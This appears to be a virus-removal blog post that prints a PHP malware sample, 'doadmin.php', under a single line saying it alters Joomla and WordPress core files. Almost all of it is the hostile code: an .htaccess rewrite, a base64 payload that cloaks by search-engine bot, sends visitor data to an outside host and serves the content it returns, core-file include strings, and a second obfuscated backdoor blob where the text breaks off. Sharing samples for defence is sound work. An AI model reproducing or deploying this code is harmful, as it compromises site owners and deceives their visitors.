doadmin.php

Posted on Posted in Virus Removal

This code can modify joomla’s / wordpress’s core files and put malware codes to it!

<?php
	error_reporting(0);
	ini_set('display_errors', 0);
	set_time_limit(0);

	$htaccess = "<IfModule mod_rewrite.c>\nRewriteEngine on\nRewriteRule !(js|ico|gif|jpg|png|css|swf|flv|libraries|maint|admin|login|logout|reg) index.php [QSA,L]\n</IfModule>\n\n";
	$revolution = base64_decode('PD9waHAKICAgIGVycm9yX3JlcG9ydGluZygwKTsKICAgIGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CiAgICBzZXRfdGltZV9saW1pdCgwKTsKCgogICAgJHJlZiA9IHN0cnRvbG93ZXIoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKT8kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ106JycpOwogICAgaWYoIHN0cmxlbiggJHJlZiApID4gNjQgKSB7CiAgICAgICAkcmVmID0gc3Vic3RyKCAkcmVmLCAwLCA2NCApOwogICAgfQoKICAgICR1YSA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKICAgIGlmKCBzdHJsZW4oICR1YSApID4gNjQgKSB7CiAgICAgICAkdWEgPSBzdWJzdHIoICR1YSwgMCwgNjQgKTsKICAgIH0KCiAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X3VzZXJfaXAnKSkKICAgIHsKICAgICAgICBmdW5jdGlvbiBnZXRfdXNlcl9pcCgpIHsKICAgICAgICAgICAgaWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10pICYmICRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKXsKICAgICAgICAgICAgICAgIGlmKHN0cnBvcygkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXSwiLiIpPjAgJiYgc3RycG9zKCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddLCIsIik+MCl7CiAgICAgICAgICAgICAgICAgICAgJGlwID0gZXhwbG9kZSgiLCIsJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10pOwogICAgICAgICAgICAgICAgICAgICR1c2VyX2lwID0gdHJpbSgkaXBbMF0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXSwiLiIpPjAgJiYgc3RycG9zKCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddLCIsIik9PT1mYWxzZSl7CiAgICAgICAgICAgICAgICAgICAgJHVzZXJfaXAgPSB0cmltKCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBpZighaXNzZXQoJHVzZXJfaXApKQogICAgICAgICAgICAgICAgJHVzZXJfaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKICAgICAgICAgICAgcmV0dXJuICR1c2VyX2lwOwogICAgICAgIH0KICAgIH0KICAgIAogICAgJGlwID0gZ2V0X3VzZXJfaXAoKTsKICAgICRyZXZlcnNlX2lwID0gIWVtcHR5KCRpcCk/IHN0cnRvbG93ZXIoZ2V0aG9zdGJ5YWRkcigkaXApKTogJyc7CiAgICAKICAgICR3aGF0X2JvdCA9ICd1c2VyJzsKICAgICRmcm9tX3NlYXJjaCA9IGZhbHNlOwogICAgaWYgKCAoc3RycG9zKCR1YSwgJ3lhaG9vJykgIT09IGZhbHNlKSB8fCAoc3RycG9zKCR1YSwgJ3NsdXJwJykgIT09IGZhbHNlKSB8fCAoc3RycG9zKCRyZXZlcnNlX2lwLCAneWFob28nKSAhPT0gZmFsc2UpICkgJHdoYXRfYm90ID0gJ3lhaG9vYm90JzsKICAgIGlmICggKHN0cnBvcygkdWEsICdiaW5nJykgIT09IGZhbHNlKSB8fCAoc3RycG9zKCR1YSwgJ21zbmJvdCcpICE9PSBmYWxzZSkgfHwgKHN0cnBvcygkcmV2ZXJzZV9pcCwgJ3NlYXJjaC5tc24uY29tJykgIT09IGZhbHNlKSApICR3aGF0X2JvdCA9ICdiaW5nYm90JzsKICAgIGlmICggKHN0cnBvcygkdWEsICdnb29nbGUnKSAhPT0gZmFsc2UpIHx8IChzdHJwb3MoJHJldmVyc2VfaXAsICdnb29nbGUnKSAhPT0gZmFsc2UpICkgJHdoYXRfYm90ID0gJ2dvb2dsZWJvdCc7CiAgICBpZiAoIChzdHJwb3MoJHVhLCAneWFuZGV4JykgIT09IGZhbHNlKSB8fCAoc3RycG9zKCR1YSwgJ3lhYnJvd3NlcicpICE9PSBmYWxzZSkgfHwgKHN0cnBvcygkdWEsICdyYW1ibGVyJykgIT09IGZhbHNlKSB8fCAoc3RycG9zKCR1YSwgJ21haWwucnUnKSAhPT0gZmFsc2UpIHx8IChzdHJwb3MoJHVhLCAnYXBvcnQnKSAhPT0gZmFsc2UpIHx8IChzdHJwb3MoJHJldmVyc2VfaXAsICd5YW5kZXgnKSAhPT0gZmFsc2UpICkgJHdoYXRfYm90ID0gJ3lhbmRleGJvdCc7CiAgICBpZiAoIChzdHJwb3MoJHJlZiwgJ2dvb2dsZS4nKSAhPT0gZmFsc2UpIHx8IChzdHJwb3MoJHJlZiwgJ3lhbmRleC4nKSAhPT0gZmFsc2UpIHx8IChzdHJwb3MoJHJlZiwgJ3JhbWJsZXIuJykgIT09IGZhbHNlKSB8fCAoc3RycG9zKCRyZWYsICd5YWhvby4nKSAhPT0gZmFsc2UpIHx8IChzdHJwb3MoJHJlZiwgJ2JpbmcuJykgIT09IGZhbHNlKSB8fCAoc3RycG9zKCRyZWYsICdhb2wuJykgIT09IGZhbHNlKSB8fCAoc3RycG9zKCRyZWYsICdtYWlsLicpICE9PSBmYWxzZSkgfHwgKHN0cnBvcygkcmVmLCAnbXNuLicpICE9PSBmYWxzZSkpICRmcm9tX3NlYXJjaCA9IHRydWU7CgogICAgJHJlcV91cmlfb3JpZyA9IGlzc2V0KCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKT8gc3RydG9rKHN0cnRvaygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwnJicpLCc/Jyk6ICcvJzsKICAgICRyZXFfdXJpID0gaXNzZXQoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pPyBzdHJ0b2soc3RydG9rKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCcmJyksJz8nKTogJy8nOwogICAgJGZ1bGxfdXJpID0gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107ICAgIAoKICAgIGlmICggKCd1c2VyJyA9PT0gJHdoYXRfYm90KSAmJiAkZnJvbV9zZWFyY2ggfHwgKCd1c2VyJyAhPT0gJHdoYXRfYm90KSB8fCAoc3RycG9zKCRmdWxsX3VyaSwgJ2NoZWNrZXItcGFnZScpICE9PSBmYWxzZSkpCiAgICB7CiAgICAgICAgaWYgKCB0cnVlIC8qIXByZWdfbWF0Y2goJy80MDQvJywgJHJlcV91cmlfb3JpZykgJiYgIXByZWdfbWF0Y2goJy9cL2FkbWluaXN0cmF0b3JcLy8nLCAkcmVxX3VyaV9vcmlnKSAmJiAhcHJlZ19tYXRjaCgnL1wvYmluXC8vJywgJHJlcV91cmlfb3JpZykgJiYgIXByZWdfbWF0Y2goJy9cL2NhY2hlXC8vJywgJHJlcV91cmlfb3JpZykgJiYgIXByZWdfbWF0Y2goJy9cL2NsaVwvLycsICRyZXFfdXJpX29yaWcpICYmICFwcmVnX21hdGNoKCcvXC9jb21wb25lbnRzXC8vJywgJHJlcV91cmlfb3JpZykgJiYgIXByZWdfbWF0Y2goJy9cL2luc3RhbGxhdGlvblwvLycsICRyZXFfdXJpX29yaWcpICYmICFwcmVnX21hdGNoKCcvXC9sYXlvdXRzXC8vJywgJHJlcV91cmlfb3JpZykgJiYgIXByZWdfbWF0Y2goJy9cL2xpYnJhcmllc1wvLycsICRyZXFfdXJpX29yaWcpICYmICFwcmVnX21hdGNoKCcvXC9sb2dzXC8vJywgJHJlcV91cmlfb3JpZykgJiYgIXByZWdfbWF0Y2goJy9cL3BsdWdpbnNcLy8nLCAkcmVxX3VyaV9vcmlnKSAmJiAhcHJlZ19tYXRjaCgnL1wvdG1wXC8vJywgJHJlcV91cmlfb3JpZykgJiYgIXByZWdfbWF0Y2goJy9cL3dwLWxvZ2luLycsICRyZXFfdXJpX29yaWcpICYmICFwcmVnX21hdGNoKCcvXC94bWxycGMvJywgJHJlcV91cmlfb3JpZykgJiYgIXByZWdfbWF0Y2goJy9cL3dwLWFkbWluLycsICRyZXFfdXJpX29yaWcpICYmICFwcmVnX21hdGNoKCcvXC90cmFja2JhY2svJywgJHJlcV91cmlfb3JpZykqLykgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxX3VyaSA9ICdlYTIubWFydWRlZXJpbmcuY29tLyc7CiAgICAgICAgCiAgICAgICAgaWYgKCRyZXFfdXJpICE9PSAkcmVxX3VyaV9vcmlnKQogICAgICAgIHsKICAgICAgICAgICAgCiAgICAgICAgICAgIAogICAgICAgICAgICAkcmVmID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKT8gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSk6ICcnOwogICAgICAgICAgICBpZiggc3RybGVuKCAkcmVmICkgPiA2NCApIHsKICAgICAgICAgICAgICAgJHJlZiA9IHN1YnN0ciggJHJlZiwgMCwgNjQgKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgJGlwID0gZ2V0X3VzZXJfaXAoKTsKICAgICAgICAgICAgJHVhID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKT8gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk6ICcnOwogICAgICAgICAgICBpZiggc3RybGVuKCAkdWEgKSA+IDY0ICkgewogICAgICAgICAgICAgICAkdWEgPSBzdWJzdHIoICR1YSwgMCwgNjQgKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgJGZjID0gJ2cnLid6aW5mJy4nbGEnLid0ZSc7CiAgICAgICAgICAgICRob3N0ID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKT8gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk6ICcnOwogICAgICAgICAgICAkaXNfZ3ppcCA9IGZ1bmN0aW9uX2V4aXN0cygkZmMpID8gJ3RydWUnOiAnJzsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxX3VyaSA9ICdodHRwOi8vJy4kcmVxX3VyaS4iP3JlcT0iLnVybGVuY29kZSgkZnVsbF91cmkpLiImZ3ppcD0iLiRpc19nemlwLiImaG9zdD0kaG9zdCZpcD0kaXAmdWE9JHVhJnJlZj0kcmVmIjsKICAgICAgICAgICAgICAgCiAgICAgICAgICAgICRkYXRhID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRyZXFfdXJpKTsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygkZmMpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAkZGF0YSA9IEAkZmMoc3Vic3RyKCRkYXRhLDEwLC04KSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGRhdGEgPSBAdW5zZXJpYWxpemUoJGRhdGEpOwogICAgICAgICAgICBpZiAoaXNzZXQoJGRhdGFbJ2hlYWRlcnMnXSkgJiYgKGNvdW50KCRkYXRhWydoZWFkZXJzJ10pID4gMCkpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkYXRhWydoZWFkZXJzJ10gYXMgJGhlYWRlcikKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBoZWFkZXIoJGhlYWRlcik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgIGlmIChpc3NldCgkZGF0YVsnbWFjcm9zZXMnXSkgJiYgKGNvdW50KCRkYXRhWydtYWNyb3NlcyddKSA+IDApKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAkdHBsX3BhdGggPSBmYWxzZTsKICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHJvb3RfcGF0aC4nL3dwLWFkbWluL2luY2x1ZGVzLycpKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICR0cGxfcGF0aCA9ICcvd3AtYWRtaW4vaW5jbHVkZXMvdGVtcGxhdGUuaHRtbCc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHJvb3RfcGF0aC4nL2xpYnJhcmllcy9qb29tbGEvYXBwbGljYXRpb24vJykpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgJHRwbF9wYXRoID0gJy9saWJyYXJpZXMvam9vbWxhL2FwcGxpY2F0aW9uL3RlbXBsYXRlLmh0bWwnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHRwbCA9ICR0cGxfcGF0aD8gQGZpbGVfZ2V0X2NvbnRlbnRzKCRyb290X3BhdGguJHRwbF9wYXRoKTogJyc7CiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCR0cGwsICdbQ09OVEVOVF0nKSA9PT0gZmFsc2UpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgJHRwbCA9ICI8IURPQ1RZUEUgaHRtbD48aHRtbD48aGVhZD48dGl0bGU+W1RJVExFXTwvdGl0bGU+PGxpbmsgcmVsPVwiY2Fub25pY2FsXCIgaHJlZj1cIltQQUdFX1VSTF1cIj48bGluayByZWw9XCJwcmV2XCIgaHJlZj1cIltSQU5EX1VSTF9QUkVWXVwiPjxsaW5rIHJlbD1cIm5leHRcIiBocmVmPVwiW1JBTkRfVVJMX05FWFRdXCI+PG1ldGEgcHJvcGVydHk9XCJvZzp0aXRsZVwiIGNvbnRlbnQ9XCJbVElUTEVdXCI+PG1ldGEgcHJvcGVydHk9XCJvZzp1cmxcIiBjb250ZW50PVwiW1BBR0VfVVJMXVwiPjxtZXRhIG5hbWU9XCJkZXNjcmlwdGlvblwiIHByb3BlcnR5PVwib2c6ZGVzY3JpcHRpb25cIiBjb250ZW50PVwiW0RFU0NSSVBUSU9OXVwiPjxtZXRhIG5hbWU9XCJrZXl3b3Jkc1wiIGNvbnRlbnQ9XCJbS0VZV09SRFNdXCI+PG1ldGEgbmFtZT1cInZpZXdwb3J0XCIgY29udGVudD1cIndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAsIHVzZXItc2NhbGFibGU9eWVzXCI+PG1ldGEgaHR0cC1lcXVpdj1cImNvbnRlbnQtdHlwZVwiIGNvbnRlbnQ9XCJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLThcIj48L2hlYWQ+PGJvZHk+W0NPTlRFTlRdPC9ib2R5PjwvaHRtbD4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZGF0YVsnbWFjcm9zZXMnXSBhcyAkbWFjcm9zID0+ICR2YWx1ZSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAkdHBsID0gc3RyX3JlcGxhY2UoJG1hY3JvcywgJHZhbHVlLCAkdHBsKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgZGllKCR0cGwpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICBpZiAoaXNzZXQoJGRhdGFbJ2NvbnRlbnQnXSkgJiYgIWVtcHR5KCRkYXRhWydjb250ZW50J10pKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBkaWUoJGRhdGFbJ2NvbnRlbnQnXSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9');
	$include_joomla = 'error_reporting(0);ini_set("display_errors", 0);$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));include_once("$root_path"."/libraries/joomla/application/joomla-app.php");';
	$include_wordpress = 'error_reporting(0);ini_set("display_errors", 0);$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));include_once("$root_path"."/wp-admin/includes/class-wp-text.php");';
	//kuv233au
	$backdoor = base64_decode('PD9waHAgJHdwX19sXz0nYmFzZScuKDEyOC8yKS4nX2RlJy4nY29kZSc7JHdwX19sXz0kd3BfX2xfKHN0cl9yZXBsYWNlKCJcbiIsICcnLCAnQnE0OWtoTWRNeCtQZ3Rjb0NmdHRQZWkvb3B6Mk1tMFp4cXM5OVZOVlVBL3NJcDlPQzN5d1RxMHIrcHMwVHRGbXhrWFl5MnhjQm45akN0eXUKd2x5Z0x6bE1wZ283Z1RMQlQvMGlqcjN2aWE3bkZWQjM1MWszbDVhZ0ZEeDFvRnhNVlM2OXFzWEpLTXhVZkRKNnBDeXUxdUE5RU8xcmd6VlAKWXBiekZwbDRuczRBdThnYnRaUWJ4VlJJanBpMHNoaklLODV0UVdXRDVtY0ZsejRCU2hVZG9vSGFvQjNkYkJlay9zdXRUVytNRCtaV0x2ZFcKeU42RzhrRDQ3Tlk4OGhZdzlVaGwyNFdnRHZNYm1QMDFpeDMrTEV5ODJCTUJQbENuNWlyYS9FT0EyWlAxb0JVODlIOVV4ekFkcG9ucFh5d0kKWG5wcGdrMVZBQVZORUpUWkw4UDhiSFRhTm1oa0xHSUVRVFlhQTZvU0QxSm54Z2VUc1Jjd1dwOEtFRkQ4amo5ZFdpUUJaekdvRGRqU1czUEYKZWZ3VmMrZjVnZVlxaWZBdmNUeHRkLzQxdEcza2hkYlZGMlBaZ2VOcm9PdWZDSmpwVStxcy8vSDJIdWJIS2dZeGdhc25UQjF1OGxNNWQ4dzYKSzRnQkZ2VjNrckRld2dEVVp0dndIeDBWUnBOZ1RKREtUWndwMkpidTFuV1dEeGpXMXJYMTJTZG5yMUx5TnhrRHdtN1ozSDRNbDRUOHpkcXgKU01Pc0lmcHZCbGt1eXdTUWpXTklNTld4Vk5VSUdXZGZwaFUxemt1WW9nM09JUHVPOVNyd3FpRXJiZTJlcWJvOStvd3E5bFNIRDQvQjFzaTAKanZDem1jR254WERBSGZWZTJhZWNaR2UyM0g5VWR6dmIvLzQwK3R1UG5mNks4dXJ2YURoWjNiZVlJR2Vkb0syK250WGVJR3VjTzcybGljdnkKRS9YdGFpeVF3N1NrUUlJMXlwR3ptdlhrbEVmZi9tRURjWC93dWpaVWFVblk4Qmh3MHJ0N0VDNWxvUG83aUpZVzRjOVlmaXBkNGRnVS9RN3UKeGZSbWxYSm5nNVVKb3lxaXIveEY5c0xkV2NaWUZmZGdlOGNrNWFHZkFMaTk0emJiNnVza1VleEppYk54dEtQbGdibTBRNStHalhGSzNSa0cKeVFYQStyREloMk50WDlsaHdBOFIyTndkT2JyMVliY0g1TU1pckk5TUN0Q3Q3ZXRwSjJ2Z2k4ZFJJcm5HSWVhOTNWTTYvNG5kTTA4WGd6VkcKVFJPUXBxUEtOZjEram9GczQyRlBCTk8zMFB1OGxWZVlFbHZPUGQ4WFIzd2dGRVFhazNaTFpianQ2L3QyWEN5RVMyRzFJai83VFZkcmV6Q24KRVppUUxsbGZVWGg2a1gxVlhVcU41WXZKL21WeTRFZjJudEtzKzd4RXZMODZHTHVWdC85RXZIdGs1NDJuaEN3Y2xhVEpNMCtlN2ZxekQ2ZE4KWmtUM00wQThZQm0zQ3FFaWFrNm85c0VNa3JRNlhDR1RjY1p5UkRwMi9hZkdic1ZEWEo2dDVGUmkvMld4WUpjUnZodzhDWW12Wm9OR1NDZGEKdGhIbS95ZDA0Y2tlV1dnSXk0SElzTGM0YnhjbStsTURNR0J1eXczem9CcThTTlVwa0c3eU4xTEw1d21UUnFFQTQvQ3VlOXQvQjFRdEh1TEMKUWlPK3FvRjFNR1h0S25Na3JxRnVvRER0VFVjcW9YcU1iYjF5NFhoRzhVY1QyYWdJWkp5TURJcUdCcUlHOHpHTE9RSDlrNmFoVHpjRk11OXcKU3E2NFBuNUJtajFBTSt6b09HZU9ScmhxeEYyK2plUmR6S0QyTFA0UkJHWWVGaUFDMGREWVFzakRtbHJjMlRwSzlTWmNvaGYvdGpxcWRnRmsKcVdMNmxRYnM5aWVYNDYxWEV5WnZ5S1NaNmhGV2R1bXBFRFFiNXVWRVV2ZTBDNTU2Q0N3dkNOV1RtbnNWaDJURHBwVHVtcFpTTzNCK0FZVDEKTWZNUWl6cHJQYkUxbTFKRHRNTXhEajAvd2tLQ0c4OEJtRXdhUzF0UElJN3JYeDdkdHdtZUZiNjJreW1QVStrdzBhZXR0R1RxR3ppd25WTFgKYngzc2pnZGY0bVBNd3hwTi9KTmJSUHp1NVUvcytCUzJwQzBuUDE5VHVwNWRETy9uOUZLQ0YzY0VKR01kcjVNNFhZdVRxZGtkM1BpQWVtamQKY0JuaWd4YWQ3VE8zL1c0Z3IwRHdxOFZXSkxaK2pHN21hVkJiWEJxZ3N0a2dVQUhCK0ZnSU5jY1I0Tnhsc3A4SmZUb0I0ZG4xQm92NW80cWUKWWIweVN6b2VyeUJwa1BxNldiemtJS1BRbDFmeEkwMlU1c0NBYk5zaFplZFpTWWx3RmdHY01hRDN3WHI4c09GT096UXVnQUV1dmw2VFJTdmsKUHdLV2pNbVovSzhZbkJ2L3k4WnlYdW1HOHFxTDlUNUxhYnU4Q01YYmFtQjlRSEJSOERUWFJLWkw0OTZOdDlNaERxVmUrMzl5cXRRbVRIWlEKNld3STNKb1hqYnQ0MG1WdFRXRFdTTmMxZjdYRlEyajRIaE00Sk04aERJZ3FTRlNFQXJWeXc1ZHp1WFUzOXBYT1YzTmNvVjJxYXJTVVFJaisKVmgzM3ZlTjJJbWRsSmhHcGdPSTUybjM1K3YyL09ucWpCcGZZRGc2Sy9OTms5SERiekhzRXo1QThCZHk4dHpqcGdmNzVObjlEL0xrQTJidGYKbTd0anhsQlFjMVVLYUZHQllWcjE3SnBHV09CMDdreTdWK2RsMzlNVkFZaEVzWHRCWE5YbEIxVVRzOHVXbXBxM3hPVVZvOFFRWXpyc2JKU3oKZENqalBhNG5pck1MckVsb2RWTDRIZVVqYVM0QnhRaStyKzQ2SUR4U3gwc2V1UENXdWt1dDl1RlVuTHUycS9ZU3RrMjV5aXV0UE5KYmw3bGIKa3pUWXVmKzBlMjBJQ0hTSTFkNXRMc1VyUzNWSFRGbGRFb2dZYjhBZ2FweEszWEhrbFZkbW9KZ2RGY2pOcitDS3UzaEFsOWZiaktjd21nZEwKY01CNFBnVnZERWMyUmlKWDRUdTdQZVZnMkUxL0Z5VWQ4WnhGOWlwM2NZTnNGWithbDBHWS9jVFNTdUJEa2RXOWRYQ1ZBOHcyT25NTHVqNzUKMDZFS3VtUUJlTm90NTNyaDFmaGJlN0lNTkZVUnlTY0xRbFhSK3UxVDRzSzRFV0tWTDA2QnpqeWlvZWs0bk42L2htR01pSlZMUFNEUmtsVlMKTVhyUi9wMGI2MjlDcGtRN1VqNCtGNmpqbEUxNUJwWXdBcjNrZ0ZPZE16ZGpIY3FiVy8rLy84SzNNaHFJMVpRNDdhSVh1Ymc5U1RVSFBHT28Kb200TFc0TmxIRXdQcWZKd0tsMU5DS1A2WHNicmN0ajY0aDg4VGF0cEFhMXhseCtUTUdPcW02WVhWekJ0OEVhNFcwSm4zU0tSTWYrWCtkTWQKV2V6c2xZMmRPOU1NeTdXOTBlaFdoaVJHdVpodFFaWGxDWHFhVnFmbk0rc1hRZXIrWjhuUEtpc2ZIRmloemFIYmx5L2pkRWhOY2t0OFRReTEKVDZGZUdHM3ExVGVmS1RNd29BRnViNVNxTkFDaVp2NnVFTHhuSWcvWk5MNEswOXNvNUc0dVFLZ3pXV3A3VmMzallycUxjc05GZy9rUFVFdmkKbG9wU3RuR0NUSk5ORkY4dlNLK3Urc01ydjQwamV3RTdYZlZFb0gxQ0pDTG9lOHVnYUkvNU05MitYMVdQK3NyVUg2NW1FZGI5M3JsNy90M2kKS3hLTUZXQmk2Y0ZhSG5Wc1ZiMjBWbHZHNVpkWGlHaFRHU3YvdmR5WGliamNtSE9rMUZ1S3BlTSt1dXkvZHp3cUtZZkF5T3JaQ1pueDVaMTUKbzF2YzcyZDBudDdwOXFBS29nNzVCRGdOMmlRRUU5TUhPUXk2ZkpQSjJkZVllU2FuclZxSU5hTC9VMDB6RkNwTmM5dzV0UmVPMGo4QmxsVFUKREtkVU5GME9qbk81VGhxcGtnd2ZTYU1sNk02dDB4YVd0MU1oMDVBWDdqYzlsNWk0WndFMEZrekYyQ